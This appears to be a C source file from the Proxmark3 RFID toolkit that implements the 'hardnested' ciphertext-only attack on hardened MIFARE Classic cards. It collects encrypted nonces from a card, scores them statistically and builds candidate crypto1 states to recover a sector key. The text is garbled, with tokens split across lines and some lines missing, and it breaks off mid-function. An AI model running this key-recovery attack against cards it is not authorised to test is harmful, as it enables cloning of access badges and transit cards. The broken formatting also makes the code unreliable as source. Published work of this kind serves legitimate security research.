1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
22 #include "proxmark3.h"
26 #include "nonce2key/crapto1.h"
28 // uint32_t test_state_odd = 0;
29 // uint32_t test_state_even = 0;
31 #define CONFIDENCE_THRESHOLD 0.99 // Collect nonces until we are certain enough that the following brute force is successfull
32 #define GOOD_BYTES_REQUIRED 25
35 static const float p_K
[257] = { // the probability that a random nonce has a Sum Property == K
36 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
37 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
38 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
39 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
40 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 typedef struct noncelistentry
{
77 typedef struct noncelist
{
84 noncelistentry_t
*first
;
89 static noncelist_t nonces
[256];
90 static uint16_t first_byte_Sum
= 0;
91 static uint16_t first_byte_num
= 0;
92 static uint16_t num_good_first_bytes
= 0;
94 #define MAX_BEST_BYTES 40
95 static uint8_t best_first_bytes
[MAX_BEST_BYTES
];
103 #define STATELIST_INDEX_WIDTH 16
104 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
109 uint32_t *index
[2][STATELIST_INDEX_SIZE
];
110 } partial_indexed_statelist_t
;
119 partial_indexed_statelist_t partial_statelist
[17];
120 partial_indexed_statelist_t statelist_bitflip
;
122 statelist_t
*candidates
= NULL
;
125 static int add_nonce(uint32_t nonce_enc
, uint8_t par_enc
)
127 uint8_t first_byte
= nonce_enc
>> 24;
128 noncelistentry_t
*p1
= nonces
[first_byte
].first
;
129 noncelistentry_t
*p2
= NULL
;
131 if (p1
== NULL
) { // first nonce with this 1st byte
133 first_byte_Sum
+= parity((nonce_enc
& 0xff000000) | (par_enc
& 0x08) | 0x01); // 1st byte sum property. Note: added XOR 1
134 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
137 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
138 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01));
141 while (p1
!= NULL
&& (p1
->nonce_enc
& 0x00ff0000) < (nonce_enc
& 0x00ff0000)) {
146 if (p1
== NULL
) { // need to add at the end of the list
147 if (p2
== NULL
) { // list is empty yet. Add first entry.
148 p2
= nonces
[first_byte
].first
= malloc(sizeof(noncelistentry_t
));
149 } else { // add new entry at end of existing list.
150 p2
= p2
->next
= malloc(sizeof(noncelistentry_t
));
152 } else if ((p1
->nonce_enc
& 0x00ff0000) != (nonce_enc
& 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
153 if (p2
== NULL
) { // need to insert at start of list
154 p2
= nonces
[first_byte
].first
= malloc(sizeof(noncelistentry_t
));
156 p2
= p2
->next
= malloc(sizeof(noncelistentry_t
));
158 } else { // we have seen this 2nd byte before. Nothing to add or insert.
162 // add or insert new data
164 p2
->nonce_enc
= nonce_enc
;
165 p2
->par_enc
= par_enc
;
167 nonces
[first_byte
].num
++;
168 nonces
[first_byte
].Sum
+= parity((nonce_enc
& 0x00ff0000) | (par_enc
& 0x04) | 0x01); // 2nd byte sum property. Note: added XOR 1
169 nonces
[first_byte
].updated
= true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
171 return (1); // new nonce added
175 static uint16_t PartialSumProperty(uint32_t state
, odd_even_t odd_even
)
178 for (uint16_t j
= 0; j
< 16; j
++) {
180 uint16_t part_sum
= 0;
181 if (odd_even
== ODD_STATE
) {
182 for (uint16_t i
= 0; i
< 5; i
++) {
183 part_sum
^= filter(st
);
184 st
= (st
<< 1) | ((j
>> (3-i
)) & 0x01) ;
187 for (uint16_t i
= 0; i
< 4; i
++) {
188 st
= (st
<< 1) | ((j
>> (3-i
)) & 0x01) ;
189 part_sum
^= filter(st
);
198 static uint16_t SumProperty(struct Crypto1State
*s
)
200 uint16_t sum_odd
= PartialSumProperty(s
->odd
, ODD_STATE
);
201 uint16_t sum_even
= PartialSumProperty(s
->even
, EVEN_STATE
);
202 return (sum_odd
*(16-sum_even
) + (16-sum_odd
)*sum_even
);
206 static double p_hypergeometric(uint16_t N
, uint16_t K
, uint16_t n
, uint16_t k
)
208 // for efficient computation we are using the recursive definition
210 // P(X=k) = P(X=k-1) * --------------------
213 // (N-K)*(N-K-1)*...*(N-K-n+1)
214 // P(X=0) = -----------------------------
215 // N*(N-1)*...*(N-n+1)
217 if (n
-k
> N
-K
|| k
> K
) return 0.0; // avoids log(x<=0) in calculation below
219 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
220 double log_result
= 0.0;
221 for (int16_t i
= N
-K
; i
>= N
-K
-n
+1; i
--) {
222 log_result
+= log(i
);
224 for (int16_t i
= N
; i
>= N
-n
+1; i
--) {
225 log_result
-= log(i
);
227 return exp(log_result
);
229 if (n
-k
== N
-K
) { // special case. The published recursion below would fail with a divide by zero exception
230 double log_result
= 0.0;
231 for (int16_t i
= k
+1; i
<= n
; i
++) {
232 log_result
+= log(i
);
234 for (int16_t i
= K
+1; i
<= N
; i
++) {
235 log_result
-= log(i
);
237 return exp(log_result
);
238 } else { // recursion
239 return (p_hypergeometric(N
, K
, n
, k
-1) * (K
-k
+1) * (n
-k
+1) / (k
* (N
-K
-n
+k
)));
245 static float sum_probability(uint16_t K
, uint16_t n
, uint16_t k
)
247 const uint16_t N
= 256;
251 if (k
> K
|| p_K
[K
] == 0.0) return 0.0;
253 double p_T_is_k_when_S_is_K
= p_hypergeometric(N
, K
, n
, k
);
254 double p_S_is_K
= p_K
[K
];
256 for (uint16_t i
= 0; i
<= 256; i
++) {
258 p_T_is_k
+= p_K
[i
] * p_hypergeometric(N
, i
, n
, k
);
261 return(p_T_is_k_when_S_is_K
* p_S_is_K
/ p_T_is_k
);
267 printf("Tests: Partial Statelist sizes\n");
268 for (uint16_t i
= 0; i
<= 16; i
+=2) {
269 printf("Partial State List Odd [%2d] has %8d entries\n", i
, partial_statelist
[i
].len
[ODD_STATE
]);
271 for (uint16_t i
= 0; i
<= 16; i
+=2) {
272 printf("Partial State List Even [%2d] has %8d entries\n", i
, partial_statelist
[i
].len
[EVEN_STATE
]);
275 // #define NUM_STATISTICS 100000
276 // uint64_t statistics[257];
277 // uint32_t statistics_odd[17];
278 // uint32_t statistics_even[17];
279 // struct Crypto1State cs;
280 // time_t time1 = clock();
282 // for (uint16_t i = 0; i < 257; i++) {
283 // statistics[i] = 0;
285 // for (uint16_t i = 0; i < 17; i++) {
286 // statistics_odd[i] = 0;
287 // statistics_even[i] = 0;
290 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
291 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
292 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
293 // uint16_t sum_property = SumProperty(&cs);
294 // statistics[sum_property] += 1;
295 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
296 // statistics_even[sum_property]++;
297 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
298 // statistics_odd[sum_property]++;
299 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
302 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
303 // for (uint16_t i = 0; i < 257; i++) {
304 // if (statistics[i] != 0) {
305 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
308 // for (uint16_t i = 0; i <= 16; i++) {
309 // if (statistics_odd[i] != 0) {
310 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
313 // for (uint16_t i = 0; i <= 16; i++) {
314 // if (statistics_odd[i] != 0) {
315 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
319 // printf("Tests: Sum Probabilities based on Partial Sums\n");
320 // for (uint16_t i = 0; i < 257; i++) {
321 // statistics[i] = 0;
323 // uint64_t num_states = 0;
324 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
325 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
326 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
327 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
328 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
331 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
332 // for (uint16_t i = 0; i < 257; i++) {
333 // if (statistics[i] != 0) {
334 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
338 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
339 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
340 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
341 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
342 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
343 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
344 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
346 struct Crypto1State
*pcs
;
347 pcs
= crypto1_create(0xffffffffffff);
348 printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
349 SumProperty(pcs
), pcs
->odd
& 0x00ffffff, pcs
->even
& 0x00ffffff);
350 crypto1_byte(pcs
, (cuid
>> 24) ^ best_first_bytes
[0], true);
351 printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
354 pcs
->odd
& 0x00ffffff, pcs
->even
& 0x00ffffff);
355 //test_state_odd = pcs->odd & 0x00ffffff;
356 //test_state_even = pcs->even & 0x00ffffff;
357 crypto1_destroy(pcs
);
358 pcs
= crypto1_create(0xa0a1a2a3a4a5);
359 printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
360 SumProperty(pcs
), pcs
->odd
& 0x00ffffff, pcs
->even
& 0x00ffffff);
361 crypto1_byte(pcs
, (cuid
>> 24) ^ best_first_bytes
[0], true);
362 printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
365 pcs
->odd
& 0x00ffffff, pcs
->even
& 0x00ffffff);
366 // test_state_odd = pcs->odd & 0x00ffffff;
367 // test_state_even = pcs->even & 0x00ffffff;
368 crypto1_destroy(pcs
);
371 printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip
.len
[0], 100.0 * statelist_bitflip
.len
[0] / (1<<20));
373 printf("\nTests: Actual BitFlipProperties odd/even:\n");
374 for (uint16_t i
= 0; i
< 256; i
++) {
375 printf("[%3d]:%c%c ", i
, nonces
[i
].BitFlip
[ODD_STATE
]?'o':' ', nonces
[i
].BitFlip
[EVEN_STATE
]?'e':' ');
381 printf("\nTests: Best %d first bytes:\n", MAX_BEST_BYTES
);
382 for (uint16_t i
= 0; i
< MAX_BEST_BYTES
; i
++) {
383 uint8_t best_byte
= best_first_bytes
[i
];
384 uint16_t best_num
= nonces
[best_byte
].num
;
385 uint16_t best_sum
= nonces
[best_byte
].Sum
;
386 uint16_t best_sum8
= nonces
[best_byte
].Sum8_guess
;
387 float confidence
= nonces
[best_byte
].Sum8_prob
;
388 printf("Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%\n", best_byte
, best_num
, best_sum
, best_sum8
, confidence
*100);
393 static void sort_best_first_bytes(void)
395 // find the best choice for the very first byte (b)
397 float max_prob_min_p_K
= 0.0;
398 uint8_t best_byte
= 0;
399 for (uint16_t i
= 0; i
< 256; i
++ ) {
400 float prob1
= nonces
[i
].Sum8_prob
;
401 uint16_t sum8
= nonces
[i
].Sum8_guess
;
402 if (p_K
[sum8
] <= min_p_K
&& prob1
> CONFIDENCE_THRESHOLD
) {
403 if (p_K
[sum8
] < min_p_K
) {
406 max_prob_min_p_K
= prob1
;
407 } else if (prob1
> max_prob_min_p_K
) {
408 max_prob_min_p_K
= prob1
;
413 best_first_bytes
[0] = best_byte
;
414 // printf("Best Byte = 0x%02x, Sum8=%d, prob=%1.3f\n", best_byte, nonces[best_byte].Sum8_guess, nonces[best_byte].Sum8_prob);
416 // sort the most probable guesses as following bytes (b')
417 for (uint16_t i
= 0; i
< 256; i
++ ) {
418 if (i
== best_first_bytes
[0]) {
422 float prob1
= nonces
[i
].Sum8_prob
;
423 float prob2
= nonces
[best_first_bytes
[1]].Sum8_prob
;
424 while (prob1
< prob2
&& j
< MAX_BEST_BYTES
-1) {
425 prob2
= nonces
[best_first_bytes
[++j
]].Sum8_prob
;
427 if (prob1
>= prob2
) {
428 for (uint16_t k
= MAX_BEST_BYTES
-1; k
> j
; k
--) {
429 best_first_bytes
[k
] = best_first_bytes
[k
-1];
431 best_first_bytes
[j
] = i
;
437 static uint16_t estimate_second_byte_sum(void)
439 for (uint16_t i
= 0; i
< MAX_BEST_BYTES
; i
++) {
440 best_first_bytes
[i
] = 0;
443 for (uint16_t first_byte
= 0; first_byte
< 256; first_byte
++) {
444 float Sum8_prob
= 0.0;
446 if (nonces
[first_byte
].updated
) {
447 for (uint16_t sum
= 0; sum
<= 256; sum
++) {
448 float prob
= sum_probability(sum
, nonces
[first_byte
].num
, nonces
[first_byte
].Sum
);
449 if (prob
> Sum8_prob
) {
454 nonces
[first_byte
].Sum8_guess
= Sum8
;
455 nonces
[first_byte
].Sum8_prob
= Sum8_prob
;
456 nonces
[first_byte
].updated
= false;
460 sort_best_first_bytes();
462 uint16_t num_good_nonces
= 0;
463 for (uint16_t i
= 0; i
< MAX_BEST_BYTES
; i
++) {
464 if (nonces
[best_first_bytes
[i
]].Sum8_prob
> CONFIDENCE_THRESHOLD
) {
469 return num_good_nonces
;
473 static int read_nonce_file(void)
475 FILE *fnonces
= NULL
;
479 uint32_t nt_enc1
, nt_enc2
;
481 int total_num_nonces
= 0;
483 if ((fnonces
= fopen("nonces.bin","rb")) == NULL
) {
484 PrintAndLog("Could not open file nonces.bin");
488 PrintAndLog("Reading nonces from file nonces.bin...");
489 if (fread(read_buf
, 1, 6, fnonces
) == 0) {
490 PrintAndLog("File reading error.");
494 cuid
= bytes_to_num(read_buf
, 4);
495 trgBlockNo
= bytes_to_num(read_buf
+4, 1);
496 trgKeyType
= bytes_to_num(read_buf
+5, 1);
498 while (fread(read_buf
, 1, 9, fnonces
) == 9) {
499 nt_enc1
= bytes_to_num(read_buf
, 4);
500 nt_enc2
= bytes_to_num(read_buf
+4, 4);
501 par_enc
= bytes_to_num(read_buf
+8, 1);
502 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
503 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
504 add_nonce(nt_enc1
, par_enc
>> 4);
505 add_nonce(nt_enc2
, par_enc
& 0x0f);
506 total_num_nonces
+= 2;
509 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces
, cuid
, trgBlockNo
, trgKeyType
==0?'A':'B');
515 int static acquire_nonces(uint8_t blockNo
, uint8_t keyType
, uint8_t *key
, uint8_t trgBlockNo
, uint8_t trgKeyType
, bool nonce_file_write
, bool slow
)
517 clock_t time1
= clock();
518 bool initialize
= true;
519 bool field_off
= false;
520 bool finished
= false;
522 uint8_t write_buf
[9];
523 uint32_t total_num_nonces
= 0;
524 uint32_t next_fivehundred
= 500;
525 uint32_t total_added_nonces
= 0;
526 FILE *fnonces
= NULL
;
529 printf("Acquiring nonces...\n");
531 clearCommandBuffer();
535 flags
|= initialize
? 0x0001 : 0;
536 flags
|= slow
? 0x0002 : 0;
537 flags
|= field_off
? 0x0004 : 0;
538 UsbCommand c
= {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES
, {blockNo
+ keyType
* 0x100, trgBlockNo
+ trgKeyType
* 0x100, flags
}};
539 memcpy(c
.d
.asBytes
, key
, 6);
543 if (field_off
) finished
= true;
546 if (!WaitForResponseTimeout(CMD_ACK
, &resp
, 3000)) return 1;
547 if (resp
.arg
[0]) return resp
.arg
[0]; // error during nested_hard
550 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
551 if (nonce_file_write
&& fnonces
== NULL
) {
552 if ((fnonces
= fopen("nonces.bin","wb")) == NULL
) {
553 PrintAndLog("Could not create file nonces.bin");
556 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
557 num_to_bytes(cuid
, 4, write_buf
);
558 fwrite(write_buf
, 1, 4, fnonces
);
559 fwrite(&trgBlockNo
, 1, 1, fnonces
);
560 fwrite(&trgKeyType
, 1, 1, fnonces
);
565 uint32_t nt_enc1
, nt_enc2
;
567 uint16_t num_acquired_nonces
= resp
.arg
[2];
568 uint8_t *bufp
= resp
.d
.asBytes
;
569 for (uint16_t i
= 0; i
< num_acquired_nonces
; i
+=2) {
570 nt_enc1
= bytes_to_num(bufp
, 4);
571 nt_enc2
= bytes_to_num(bufp
+4, 4);
572 par_enc
= bytes_to_num(bufp
+8, 1);
574 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
575 total_added_nonces
+= add_nonce(nt_enc1
, par_enc
>> 4);
576 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
577 total_added_nonces
+= add_nonce(nt_enc2
, par_enc
& 0x0f);
580 if (nonce_file_write
) {
581 fwrite(bufp
, 1, 9, fnonces
);
587 total_num_nonces
+= num_acquired_nonces
;
590 if (first_byte_num
== 256 ) {
591 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
592 num_good_first_bytes
= estimate_second_byte_sum();
593 if (total_num_nonces
> next_fivehundred
) {
594 next_fivehundred
= (total_num_nonces
/500+1) * 500;
595 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
598 CONFIDENCE_THRESHOLD
* 100.0,
599 num_good_first_bytes
);
601 if (num_good_first_bytes
>= GOOD_BYTES_REQUIRED
) {
602 field_off
= true; // switch off field with next SendCommand and then finish
607 if (!WaitForResponseTimeout(CMD_ACK
, &resp
, 3000)) return 1;
608 if (resp
.arg
[0]) return resp
.arg
[0]; // error during nested_hard
616 if (nonce_file_write
) {
620 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%d nonces/minute)",
622 ((float)clock()-time1
)/CLOCKS_PER_SEC
,
623 total_num_nonces
*60*CLOCKS_PER_SEC
/(clock()-time1
));
629 static int init_partial_statelists(void)
631 const uint32_t sizes_odd
[17] = { 125601, 0, 17607, 0, 73421, 0, 182033, 0, 248801, 0, 181737, 0, 74241, 0, 18387, 0, 126757 };
632 const uint32_t sizes_even
[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
634 printf("Allocating memory for partial statelists...\n");
635 for (odd_even_t odd_even
= EVEN_STATE
; odd_even
<= ODD_STATE
; odd_even
++) {
636 for (uint16_t i
= 0; i
<= 16; i
+=2) {
637 partial_statelist
[i
].len
[odd_even
] = 0;
638 uint32_t num_of_states
= odd_even
== ODD_STATE
? sizes_odd
[i
] : sizes_even
[i
];
639 partial_statelist
[i
].states
[odd_even
] = malloc(sizeof(uint32_t) * num_of_states
);
640 if (partial_statelist
[i
].states
[odd_even
] == NULL
) {
641 PrintAndLog("Cannot allocate enough memory. Aborting");
644 for (uint32_t j
= 0; j
< STATELIST_INDEX_SIZE
; j
++) {
645 partial_statelist
[i
].index
[odd_even
][j
] = NULL
;
650 printf("Generating partial statelists...\n");
651 for (odd_even_t odd_even
= EVEN_STATE
; odd_even
<= ODD_STATE
; odd_even
++) {
653 uint32_t num_of_states
= 1<<20;
654 for (uint32_t state
= 0; state
< num_of_states
; state
++) {
655 uint16_t sum_property
= PartialSumProperty(state
, odd_even
);
656 uint32_t *p
= partial_statelist
[sum_property
].states
[odd_even
];
657 p
+= partial_statelist
[sum_property
].len
[odd_even
];
659 partial_statelist
[sum_property
].len
[odd_even
]++;
660 uint32_t index_mask
= (STATELIST_INDEX_SIZE
-1) << (20-STATELIST_INDEX_WIDTH
);
661 if ((state
& index_mask
) != index
) {
662 index
= state
& index_mask
;
664 if (partial_statelist
[sum_property
].index
[odd_even
][index
>> (20-STATELIST_INDEX_WIDTH
)] == NULL
) {
665 partial_statelist
[sum_property
].index
[odd_even
][index
>> (20-STATELIST_INDEX_WIDTH
)] = p
;
668 // add End Of List markers
669 for (uint16_t i
= 0; i
<= 16; i
+= 2) {
670 uint32_t *p
= partial_statelist
[i
].states
[odd_even
];
671 p
+= partial_statelist
[i
].len
[odd_even
];
680 static void init_BitFlip_statelist(void)
682 printf("Generating bitflip statelist...\n");
683 uint32_t *p
= statelist_bitflip
.states
[0] = malloc(sizeof(uint32_t) * 1<<20);
685 uint32_t index_mask
= (STATELIST_INDEX_SIZE
-1) << (20-STATELIST_INDEX_WIDTH
);
686 for (uint32_t state
= 0; state
< (1 << 20); state
++) {
687 if (filter(state
) != filter(state
^1)) {
688 if ((state
& index_mask
) != index
) {
689 index
= state
& index_mask
;
691 if (statelist_bitflip
.index
[0][index
>> (20-STATELIST_INDEX_WIDTH
)] == NULL
) {
692 statelist_bitflip
.index
[0][index
>> (20-STATELIST_INDEX_WIDTH
)] = p
;
697 // set len and add End Of List marker
698 statelist_bitflip
.len
[0] = p
- statelist_bitflip
.states
[0];
700 statelist_bitflip
.states
[0] = realloc(statelist_bitflip
.states
[0], sizeof(uint32_t) * (statelist_bitflip
.len
[0] + 1));
704 static void add_state(statelist_t
*sl
, uint32_t state
, odd_even_t odd_even
)
708 p
= sl
->states
[odd_even
];
709 p
+= sl
->len
[odd_even
];
715 uint32_t *find_first_state(uint32_t state
, uint32_t mask
, partial_indexed_statelist_t
*sl
, odd_even_t odd_even
)
717 uint32_t *p
= sl
->index
[odd_even
][(state
& mask
) >> (20-STATELIST_INDEX_WIDTH
)]; // first Bits as index
719 if (p
== NULL
) return NULL
;
720 while ((*p
& mask
) < (state
& mask
)) p
++;
721 if (*p
== 0xffffffff) return NULL
; // reached end of list, no match
722 if ((*p
& mask
) == (state
& mask
)) return p
; // found a match.
723 return NULL
; // no match
727 static bool remaining_bits_match(uint8_t num_common_bits
, uint8_t byte1
, uint8_t byte2
, uint32_t state1
, uint32_t state2
, odd_even_t odd_even
)
729 uint8_t j
= num_common_bits
;
730 if (odd_even
== ODD_STATE
) {
731 j
|= 0x01; // consider the next odd bit
733 j
= (j
+1) & 0xfe; // consider the next even bit
737 if (j
!= num_common_bits
) { // this is not the first differing bit, we need first to check if the invariant still holds
738 uint32_t bit_diff
= ((byte1
^ byte2
) << (17-j
)) & 0x00010000; // difference of (j-1)th bit -> bit 16
739 uint32_t filter_diff
= filter(state1
>> (4-j
/2)) ^ filter(state2
>> (4-j
/2)); // difference in filter function -> bit 0
740 uint32_t mask_y12_y13
= 0x000000c0 >> (j
/2);
741 uint32_t state_diff
= (state1
^ state2
) & mask_y12_y13
; // difference in state bits 12 and 13 -> bits 6/7 ... 4/5
742 uint32_t all_diff
= parity(bit_diff
| state_diff
| filter_diff
); // use parity function to XOR all 4 bits
743 if (all_diff
) { // invariant doesn't hold any more. Accept this state.
744 // if ((odd_even == ODD_STATE && state1 == test_state_odd)
745 // || (odd_even == EVEN_STATE && state1 == test_state_even)) {
746 // printf("remaining_bits_match(): %s test state: Invariant doesn't hold. Bytes = %02x, %02x, Common Bits=%d, Testing Bit %d, State1=0x%08x, State2=0x%08x\n",
747 // odd_even==ODD_STATE?"odd":"even", byte1, byte2, num_common_bits, j, state1, state2);
752 // check for validity of state candidate
753 uint32_t bit_diff
= ((byte1
^ byte2
) << (16-j
)) & 0x00010000; // difference of jth bit -> bit 16
754 uint32_t mask_y13_y16
= 0x00000048 >> (j
/2);
755 uint32_t state_diff
= (state1
^ state2
) & mask_y13_y16
; // difference in state bits 13 and 16 -> bits 3/6 ... 0/3
756 uint32_t all_diff
= parity(bit_diff
| state_diff
); // use parity function to XOR all 3 bits
757 if (all_diff
) { // not a valid state
758 // if ((odd_even == ODD_STATE && state1 == test_state_odd)
759 // || (odd_even == EVEN_STATE && state1 == test_state_even)) {
760 // printf("remaining_bits_match(): %s test state: Invalid state. Bytes = %02x, %02x, Common Bits=%d, Testing Bit %d, State1=0x%08x, State2=0x%08x\n",
761 // odd_even==ODD_STATE?"odd":"even", byte1, byte2, num_common_bits, j, state1, state2);
762 // printf(" byte1^byte2: 0x%02x, bit_diff: 0x%08x, state_diff: 0x%08x, all_diff: 0x%08x\n",
763 // byte1^byte2, bit_diff, state_diff, all_diff);
767 // continue checking for the next bit
771 return true; // valid state
775 static bool all_other_first_bytes_match(uint32_t state
, odd_even_t odd_even
)
777 for (uint16_t i
= 1; i
< num_good_first_bytes
; i
++) {
778 uint16_t sum_a8
= nonces
[best_first_bytes
[i
]].Sum8_guess
;
779 uint8_t j
= 0; // number of common bits
780 uint8_t common_bits
= best_first_bytes
[0] ^ best_first_bytes
[i
];
781 uint32_t mask
= 0xfffffff0;
782 if (odd_even
== ODD_STATE
) {
783 while ((common_bits
& 0x01) == 0 && j
< 8) {
786 if (j
% 2 == 0) { // the odd bits
791 while ((common_bits
& 0x01) == 0 && j
< 8) {
794 if (j
% 2 == 1) { // the even bits
800 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
801 bool found_match
= false;
802 for (uint16_t r
= 0; r
<= 16 && !found_match
; r
+= 2) {
803 for (uint16_t s
= 0; s
